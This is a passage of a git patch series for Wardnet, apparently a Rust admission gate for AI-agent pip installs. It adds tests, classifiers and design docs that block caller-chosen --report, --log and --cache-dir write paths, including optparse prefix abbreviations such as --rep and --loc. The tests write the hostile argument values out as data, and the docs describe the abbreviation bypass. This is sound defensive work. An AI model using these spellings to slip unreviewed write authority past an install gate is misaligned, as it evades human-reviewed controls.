fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A .reason_codes .contains(&ReasonCode::AlternateInstallRoot) { - decision - .reason_codes - .push(ReasonCode::AlternateInstallRoot); + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } From e8c8e1984652729e13925d2d39b29349ee4469e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:33:12 +0900 Subject: [PATCH 311/702] style(rust): apply rustfmt to report authority contract --- .../tests/pypi_install_report_authority_contract.rs | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs index 3a28dd7b..5f634a0b 100644 --- a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs @@ -19,9 +19,11 @@ fn approved_pip_install_cannot_gain_caller_selected_report_write_authority() { vec!["--report", "/tmp/wardnet-install-report.json"], ] { let mut intent = control_intent.clone(); - intent - .argv - .extend(report_arguments.iter().map(|argument| (*argument).to_string())); + intent.argv.extend( + report_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); let decision = admission_decision(&policy, &intent); assert_eq!( From 93e6d8ea21a2c369efcb16e0d630c49c937f0f88 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 02:39:06 +0900 Subject: [PATCH 312/702] test(security): expose pip report abbreviation bypass --- .../tests/pypi_install_report_authority_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs index 5f634a0b..a2afbf82 100644 --- a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs @@ -17,6 +17,8 @@ fn approved_pip_install_cannot_gain_caller_selected_report_write_authority() { for report_arguments in [ vec!["--report=/tmp/wardnet-install-report.json"], vec!["--report", "/tmp/wardnet-install-report.json"], + vec!["--rep=/tmp/wardnet-install-report.json"], + vec!["--rep", "/tmp/wardnet-install-report.json"], ] { let mut intent = control_intent.clone(); intent.argv.extend( From d2c4e104b1827637c1f532884e26cf3018890a07 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:02:22 +0900 Subject: [PATCH 313/702] fix(security): reject pip report option abbreviations --- .../src/pypi_install_report_authority.rs | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_report_authority.rs b/crates/agent-artifact-admission/src/pypi_install_report_authority.rs index 138b44d1..2d155933 100644 --- a/crates/agent-artifact-admission/src/pypi_install_report_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_report_authority.rs @@ -21,5 +21,13 @@ pub(crate) fn requests_unapproved_pypi_report_authority(intent: &InstallIntent) arguments .iter() .skip(1) - .any(|argument| argument == "--report" || argument.starts_with("--report=")) + .any(|argument| matches_pip_report_option(argument)) +} + +/// pip's option parser accepts an unambiguous long-option prefix. `--rep` is +/// the shortest report prefix that is distinct from the other install options, +/// so every longer prefix through `--report` carries the same write authority. +fn matches_pip_report_option(argument: &str) -> bool { + let option = argument.split_once('=').map_or(argument, |(name, _)| name); + matches!(option, "--rep" | "--repo" | "--repor" | "--report") } From 14d367c3fef04cd5d40a4dc82983a6c41ac26497 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:06:39 +0900 Subject: [PATCH 314/702] docs(security): trace pip report abbreviation authority --- .../pypi-install-report-authority.md | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/docs/doctoring/pypi-install-report-authority.md b/docs/doctoring/pypi-install-report-authority.md index 59427002..ad0bf9bc 100644 --- a/docs/doctoring/pypi-install-report-authority.md +++ b/docs/doctoring/pypi-install-report-authority.md @@ -2,21 +2,23 @@ ## Decision -Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install --report` arguments before execution. The admission receipt authorizes only the reviewed artifact mutation represented by the structured install intent; it does not authorize an additional caller-chosen filesystem write destination. +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install --report` authority before execution. Pip's command parser is built on Python `optparse`, so the security contract also rejects the currently unambiguous long-option prefixes from `--rep` through `--report`. The admission receipt authorizes only the reviewed artifact mutation represented by the structured install intent; it does not authorize an additional caller-chosen filesystem write destination. -Both `--report=` and `--report ` fail closed with Wardnet's existing `alternate_install_root` reason. Wardnet does not resolve, canonicalize, open, create, or otherwise authorize the requested path. +Attached and separated values fail closed with Wardnet's existing `alternate_install_root` reason. Wardnet does not resolve, canonicalize, open, create, or otherwise authorize the requested path. ## Problem and threat -An exact approved PyPI artifact can otherwise retain the same package name, version, registry, publisher, digest, manifest digest, `--require-hashes`, and `--no-deps` while adding `--report=/attacker/selected/path.json`. The option token begins with `-`, so it is not an undeclared positional artifact operand. Without an explicit admission rule, the extra write capability can inherit artifact approval even though it is outside the reviewed mutation contract. +An exact approved PyPI artifact can otherwise retain the same package name, version, registry, publisher, digest, manifest digest, `--require-hashes`, and `--no-deps` while adding report-output authority. The option token begins with `-`, so Wardnet's positional artifact scan does not classify the output path as an undeclared artifact operand. Matching only the literal `--report` spelling is also insufficient because pip's `ConfigOptionParser` inherits Python `optparse.OptionParser` long-option matching and therefore accepts an unambiguous prefix such as `--rep` for `--report` in the current install option set. This maps to CWE-73, External Control of File Name or Path: externally influenced pathnames can grant file access or modification capability that the caller would not otherwise possess. Wardnet therefore denies the additional argv authority rather than attempting path sanitization. ## Primary-source evidence -At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` defines `--report` with a caller-provided `file` destination. During `InstallCommand.run`, when that destination is not `-`, pip opens the supplied filename for UTF-8 JSON output before proceeding with installation preparation. This is an observable filesystem-write side effect controlled by installer argv, not part of the approved artifact identity. +At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` defines `--report` with a caller-provided `file` destination. During `InstallCommand.run`, when that destination is not `-`, pip opens the supplied filename for UTF-8 JSON output before proceeding with installation preparation. Pip's `src/pip/_internal/cli/parser.py` imports `optparse`, defines `CustomOptionParser(optparse.OptionParser)`, and derives `ConfigOptionParser` from it. Python's `optparse` long-option matcher accepts a unique prefix of a configured long option; Wardnet must therefore reason about the parser's accepted language rather than only the help-text spelling. -The test-first Wardnet specimen at `e15594f3b1c46f751fbce3f18ffb4b548ae97278` kept production code byte-identical and added `--report=/tmp/wardnet-install-report.json` to an otherwise-approved direct pip install. Hosted CI `34508270927`, rust job `102975711419`, reached the semantic assertion on Ubuntu 24.04 and returned `Allow` where the contract required `Block`. Formatting and all preceding workspace tests were successful, isolating the missing admission classifier as the causal defect. +The first Wardnet specimen at `e15594f3b1c46f751fbce3f18ffb4b548ae97278` kept production code byte-identical and added `--report=/tmp/wardnet-install-report.json` to an otherwise-approved direct pip install. Hosted CI `34508270927`, rust job `102975711419`, reached the semantic assertion on Ubuntu 24.04 and returned `Allow` where the contract required `Block`. Formatting and all preceding workspace tests were successful, isolating the missing admission classifier as the causal defect. + +After the literal `--report` repair, fresh source review exposed the parser-abbreviation bypass. Test-only exact `93e6d8ea21a2c369efcb16e0d630c49c937f0f88` added attached and separated `--rep` cases while leaving production code unchanged from its predecessor. Hosted CI `34509524218`, rust job `102979904158`, acquired Ubuntu 24.04, passed checkout, toolchain setup and formatting, then failed in the workspace test step; Fuzz `34509524209` was terminal success. The minimum causal successor `d2c4e104b1827637c1f532884e26cf3018890a07` classifies `--rep`, `--repo`, `--repor`, and `--report`, with or without an attached `=value`, as the same unreviewed report-write authority. It does not broaden Wardnet into path evaluation or runtime filesystem enforcement. ## Ownership boundary @@ -30,12 +32,16 @@ Allowing `--report=-` while rejecting file paths would preserve a stdout-only mo Sanitizing or constraining the caller-selected path was rejected because it would move runtime filesystem policy into Wardnet and duplicate quarantine ownership. Relying only on sandbox containment was also rejected: admission should not grant a side effect merely because another boundary may later constrain its impact. +Matching only the literal `--report` spelling was rejected after the executed abbreviation RED. Denying every token beginning with `--rep` was also rejected as unnecessarily broad: the bounded classifier names the currently accepted prefix family through the complete option spelling, keeping the policy explicit and reviewable. + ## Verification contract -The exact approved direct `pip` and `pip3` install controls must remain admissible. Attached and separate `--report` spellings must return `Block` and include `alternate_install_root`. Tests must not execute pip or perform filesystem writes. Every production change invalidates predecessor workflow evidence and requires exact-head CI/security review before integration. +The exact approved direct `pip` and `pip3` install controls must remain admissible. Attached and separate forms of `--rep`, `--repo`, `--repor`, and `--report` must return `Block` and include `alternate_install_root`. Tests must not execute pip or perform filesystem writes. If upstream pip changes its option grammar such that another abbreviation becomes valid or one of these prefixes becomes ambiguous, the adapter contract must be re-reviewed against that released parser rather than silently weakening admission. Every production or documentation change invalidates predecessor workflow evidence and requires current-head verification before integration. ## Traceability -- CWE-73: External Control of File Name or Path, CWE 4.20. https://cwe.mitre.org/data/definitions/73.html +- MITRE. (2025). *CWE-73: External control of file name or path* (CWE 4.20). https://cwe.mitre.org/data/definitions/73.html +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. https://docs.python.org/3/library/optparse.html - Python Packaging Authority. (2026). *pip installation command implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/commands/install.py -- Wardnet issue #268 and Draft PR #269 retain the hostile RED, causal repair, exact-head checks, and protected-main adoption criteria. +- Python Packaging Authority. (2026). *pip CLI parser implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/parser.py +- Wardnet issue #268 and Draft PR #269 retain the hostile REDs, causal repairs, current-head checks, and protected-main adoption criteria. From a9b8c5f5d9f70e17168d8fa5af3b331d6b498815 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:15:14 +0900 Subject: [PATCH 315/702] test(security): expose pip log output authority gap --- .../pypi_log_output_authority_contract.rs | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs new file mode 100644 index 00000000..9c8cc6d6 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_gain_caller_selected_log_write_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding log output authority" + ); + + for log_argument in [ + "--log=/tmp/wardnet-pip.log", + "--log-file=/tmp/wardnet-pip.log", + "--local-log=/tmp/wardnet-pip.log", + ] { + let mut intent = control_intent.clone(); + intent.argv.push(log_argument.to_string()); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {log_argument} grants caller-selected log write authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} {log_argument} must include the stable alternate_install_root reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-log-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 2c02162bd16e23c78b9ce6d4577434d99812a399 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:18:41 +0900 Subject: [PATCH 316/702] fix(security): classify pip verbose log write authority --- .../src/pypi_log_output_authority.rs | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_log_output_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_log_output_authority.rs b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs new file mode 100644 index 00000000..abcad19e --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs @@ -0,0 +1,33 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks the client to append verbose logs +/// to a caller-selected filesystem path outside the reviewed install intent. +pub(crate) fn requests_unapproved_pypi_log_output_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + matches_path_option(argument, "--log") + || matches_path_option(argument, "--log-file") + || matches_path_option(argument, "--local-log") + }) +} + +fn matches_path_option(argument: &str, option: &str) -> bool { + argument == option + || argument + .strip_prefix(option) + .is_some_and(|suffix| suffix.starts_with('=')) +} From 7efd5f5116925e865d4a713d225a9d966fa07d31 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:18:58 +0900 Subject: [PATCH 317/702] fix(security): enforce pip verbose log write boundary --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 4971f1ad..aa69d843 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -12,6 +12,7 @@ mod oci_transport; mod policy; mod pypi_hash_mode; mod pypi_install_report_authority; +mod pypi_log_output_authority; mod pypi_proxy_authority; mod uv_configuration_authority; @@ -96,6 +97,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_log_output_authority::requests_unapproved_pypi_log_output_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { if !decision .reason_codes From de879a19876a6421f2210603531aa2d4c73f8f6d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:20:26 +0900 Subject: [PATCH 318/702] test(security): expose pip log option abbreviation bypass --- .../pypi_log_output_authority_contract.rs | 27 ++++++++++++++----- 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs index 9c8cc6d6..27a6c4e1 100644 --- a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs @@ -14,26 +14,39 @@ fn approved_pip_install_cannot_gain_caller_selected_log_write_authority() { "the exact approved {executable} install must remain admissible before adding log output authority" ); - for log_argument in [ - "--log=/tmp/wardnet-pip.log", - "--log-file=/tmp/wardnet-pip.log", - "--local-log=/tmp/wardnet-pip.log", + for log_arguments in [ + vec!["--log=/tmp/wardnet-pip.log"], + vec!["--log", "/tmp/wardnet-pip.log"], + vec!["--log-file=/tmp/wardnet-pip.log"], + vec!["--log-file", "/tmp/wardnet-pip.log"], + vec!["--local-log=/tmp/wardnet-pip.log"], + vec!["--local-log", "/tmp/wardnet-pip.log"], + vec!["--log-f=/tmp/wardnet-pip.log"], + vec!["--log-f", "/tmp/wardnet-pip.log"], + vec!["--loc=/tmp/wardnet-pip.log"], + vec!["--loc", "/tmp/wardnet-pip.log"], ] { let mut intent = control_intent.clone(); - intent.argv.push(log_argument.to_string()); + intent.argv.extend( + log_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); let decision = admission_decision(&policy, &intent); assert_eq!( decision.decision, DecisionKind::Block, - "{executable} {log_argument} grants caller-selected log write authority and must fail closed" + "{executable} {} grants caller-selected log write authority and must fail closed", + log_arguments.join(" ") ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_install_root"), - "{executable} {log_argument} must include the stable alternate_install_root reason" + "{executable} {} must include the stable alternate_install_root reason", + log_arguments.join(" ") ); } } From d6efe20260415a702556ecfc28590901227465a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:22:49 +0900 Subject: [PATCH 319/702] test(security): format pip log abbreviation RED --- .../tests/pypi_log_output_authority_contract.rs | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs index 27a6c4e1..bf100126 100644 --- a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs @@ -27,11 +27,9 @@ fn approved_pip_install_cannot_gain_caller_selected_log_write_authority() { vec!["--loc", "/tmp/wardnet-pip.log"], ] { let mut intent = control_intent.clone(); - intent.argv.extend( - log_arguments - .iter() - .map(|argument| (*argument).to_string()), - ); + intent + .argv + .extend(log_arguments.iter().map(|argument| (*argument).to_string())); let decision = admission_decision(&policy, &intent); assert_eq!( From a7c778872f825f7e2c3a4a366d385580b0ecf4a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:24:26 +0900 Subject: [PATCH 320/702] fix(security): reject pip log option abbreviations --- .../src/pypi_log_output_authority.rs | 35 +++++++++++++------ 1 file changed, 25 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_log_output_authority.rs b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs index abcad19e..da8c9174 100644 --- a/crates/agent-artifact-admission/src/pypi_log_output_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs @@ -18,16 +18,31 @@ pub(crate) fn requests_unapproved_pypi_log_output_authority(intent: &InstallInte return false; } - arguments.iter().skip(1).any(|argument| { - matches_path_option(argument, "--log") - || matches_path_option(argument, "--log-file") - || matches_path_option(argument, "--local-log") - }) + arguments + .iter() + .skip(1) + .any(|argument| matches_pip_log_option(argument)) } -fn matches_path_option(argument: &str, option: &str) -> bool { - argument == option - || argument - .strip_prefix(option) - .is_some_and(|suffix| suffix.starts_with('=')) +/// pip uses Python optparse, which accepts unambiguous long-option prefixes. +/// Keep this accepted-language set explicit so an ambiguous prefix such as +/// `--lo` is not reinterpreted by Wardnet as valid caller authority. +fn matches_pip_log_option(argument: &str) -> bool { + let option = argument.split_once('=').map_or(argument, |(name, _)| name); + matches!( + option, + "--log" + | "--log-" + | "--log-f" + | "--log-fi" + | "--log-fil" + | "--log-file" + | "--loc" + | "--loca" + | "--local" + | "--local-" + | "--local-l" + | "--local-lo" + | "--local-log" + ) } From 3fa885af6f79181f00ac3c423369922b5cfac5c7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:33:24 +0900 Subject: [PATCH 321/702] docs(security): trace pip verbose log authority --- docs/doctoring/pypi-log-output-authority.md | 53 +++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 docs/doctoring/pypi-log-output-authority.md diff --git a/docs/doctoring/pypi-log-output-authority.md b/docs/doctoring/pypi-log-output-authority.md new file mode 100644 index 00000000..4ade74f6 --- /dev/null +++ b/docs/doctoring/pypi-log-output-authority.md @@ -0,0 +1,53 @@ +# PyPI verbose-log write authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install` verbose-log output authority before execution. Pip exposes one general logging option through the aliases `--log`, `--log-file`, and `--local-log`. Because pip's parser is built on Python `optparse`, the admission boundary also rejects the currently accepted unambiguous long-option prefixes that resolve to this option. The admission receipt authorizes only the reviewed package installation represented by the structured intent; it does not authorize an additional caller-selected filesystem append destination. + +The classifier is intentionally syntactic. Attached and separated forms fail closed with Wardnet's existing `alternate_install_root` reason. Wardnet does not resolve, canonicalize, create, open, append to, or otherwise authorize the requested path. + +## Problem and threat + +An otherwise exact approved PyPI install can retain the same package ecosystem, name, version, registry, publisher, digest, reviewed manifest digest, `--require-hashes`, and `--no-deps` while adding a verbose-log destination such as `--log=/tmp/wardnet-pip.log`. The option token begins with `-`, so the positional artifact-operand guard does not classify the pathname as another package operand. Without a dedicated authority check, the caller can therefore add a filesystem side effect that is absent from the reviewed install intent. + +This maps to CWE-73, External Control of File Name or Path. Wardnet denies the additional argv capability instead of attempting pathname sanitization or runtime containment. + +## Primary-source evidence + +At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines the general `log` option as a `PipOption` with aliases `--log`, `--log-file`, and `--local-log`, type `path`, and the help contract `Path to a verbose appending log.` The same module derives its option machinery from Python `optparse`. + +At the same pip commit, `src/pip/_internal/cli/base_command.py` constructs every command with a `ConfigOptionParser`, adds `cmdoptions.general_group`, parses the command line, and then passes `options.log` to `setup_logging(..., user_log_file=options.log)` before the command-specific `run` method executes. The caller-selected destination is therefore live logging configuration for an otherwise approved install rather than inert metadata. + +Python `optparse` accepts a unique long-option prefix. For the current pip option set, Wardnet's bounded classifier therefore recognizes the complete aliases and the presently unambiguous prefixes `--log-`, `--log-f`, `--log-fi`, `--log-fil`, `--loc`, `--loca`, `--local`, `--local-`, `--local-l`, and `--local-lo`. It deliberately does not treat ambiguous `--lo` as accepted caller authority. If upstream pip changes the option set or parser grammar, this accepted-language set must be re-reviewed against the released parser. + +## Executed RED → minimum causal repair + +Test-only exact `a9b8c5f5d9f70e17168d8fa5af3b331d6b498815` was one commit above canonical Agent Artifact Admission parent `f73c964714692eccf4f3a73a38b9c6165c8cb0c6` and changed only `crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs`. Hosted CI `34513210814`, rust job `102992168251`, acquired GitHub-hosted Ubuntu 24.04, passed checkout, pinned toolchain, and formatting, then failed in the workspace test step while production remained byte-identical to the parent. That is the causal semantic RED for the missing verbose-log authority boundary. + +The first production repair classified the three complete aliases. Fresh parser review then found the long-option-prefix bypass. Test-only `de879a19876a6421f2210603531aa2d4c73f8f6d` added abbreviated hostile cases but its first CI `34513728313` stopped at formatting and is not semantic evidence. Formatter-only `d6efe20260415a702556ecfc28590901227465a2` preserved production behavior; hosted CI `34513970080`, rust job `102994701557`, then passed checkout/toolchain/formatting and failed in the workspace test step, establishing the abbreviation RED. The minimum causal successor `a7c778872f825f7e2c3a4a366d385580b0ecf4a2` replaces broad/literal matching with the explicit currently accepted prefix family while leaving ambiguous `--lo` outside Wardnet's interpretation. + +## Ownership boundary + +Wardnet owns the pre-execution decision that an unreviewed installer argument cannot inherit Agent Artifact Admission authority. This rule neither executes pip nor grants runtime filesystem policy. + +`quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, workspace, privilege, cleanup, and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound destination/DNS/peer/redirect/proxy/TLS/resource authorization. AppGuardrail remains canonical owner of static package/security analysis. No foreign source, runtime sandbox policy, transport implementation, or mutable sibling dependency is copied into this bounded context. + +## Alternatives considered + +Path sanitization or an allowed-directory grammar was rejected because it would duplicate quarantine's effective runtime filesystem authority and still leave Wardnet responsible for OS-level path semantics. Relying only on sandbox containment was also rejected: admission should not grant an unreviewed side effect merely because a later boundary may constrain its impact. + +Matching only the three documented aliases was rejected after the executed abbreviation RED. Denying every token beginning with `--lo` was also rejected because that would reinterpret an ambiguous parser prefix as valid pip syntax. The chosen classifier enumerates only the spellings that currently resolve unambiguously to the logging option. + +## Verification contract + +Exact approved direct `pip` and `pip3` install controls with reviewed artifact coordinates, `--require-hashes`, and `--no-deps` must remain `Allow`. Attached and separated forms of each complete alias and representative accepted prefixes must return `Block` with `alternate_install_root`. Tests must not execute pip or touch the filesystem. A parser/version change invalidates the accepted-prefix assumption and requires primary-source re-verification rather than a broad prefix heuristic. + +Every production or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current CI/Fuzz success, clean current review/thread inventory, and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. + +## Traceability + +- MITRE. (2025). *CWE-73: External control of file name or path* (CWE 4.20). https://cwe.mitre.org/data/definitions/73.html +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. https://docs.python.org/3/library/optparse.html +- Python Packaging Authority. (2026). *pip shared command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py +- Python Packaging Authority. (2026). *pip base command implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/base_command.py +- Wardnet issue #270 and Draft PR #271 retain the hostile REDs, causal repairs, exact-current verification, and protected-main adoption criteria. From 4bea25c1433a61e7f8e4d3d7e2ef3ea94718e981 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:42:07 +0900 Subject: [PATCH 322/702] test(security): prove pip cache directory authority gap --- .../pypi_cache_dir_authority_contract.rs | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs new file mode 100644 index 00000000..615c9cd1 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs @@ -0,0 +1,88 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_gain_caller_selected_cache_directory_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding cache-directory authority" + ); + + let mut hostile = control_intent.clone(); + hostile + .argv + .push("--cache-dir=/tmp/wardnet-pip-cache".to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --cache-dir grants caller-selected filesystem cache authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} --cache-dir must include the stable alternate_install_root reason" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.3".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: 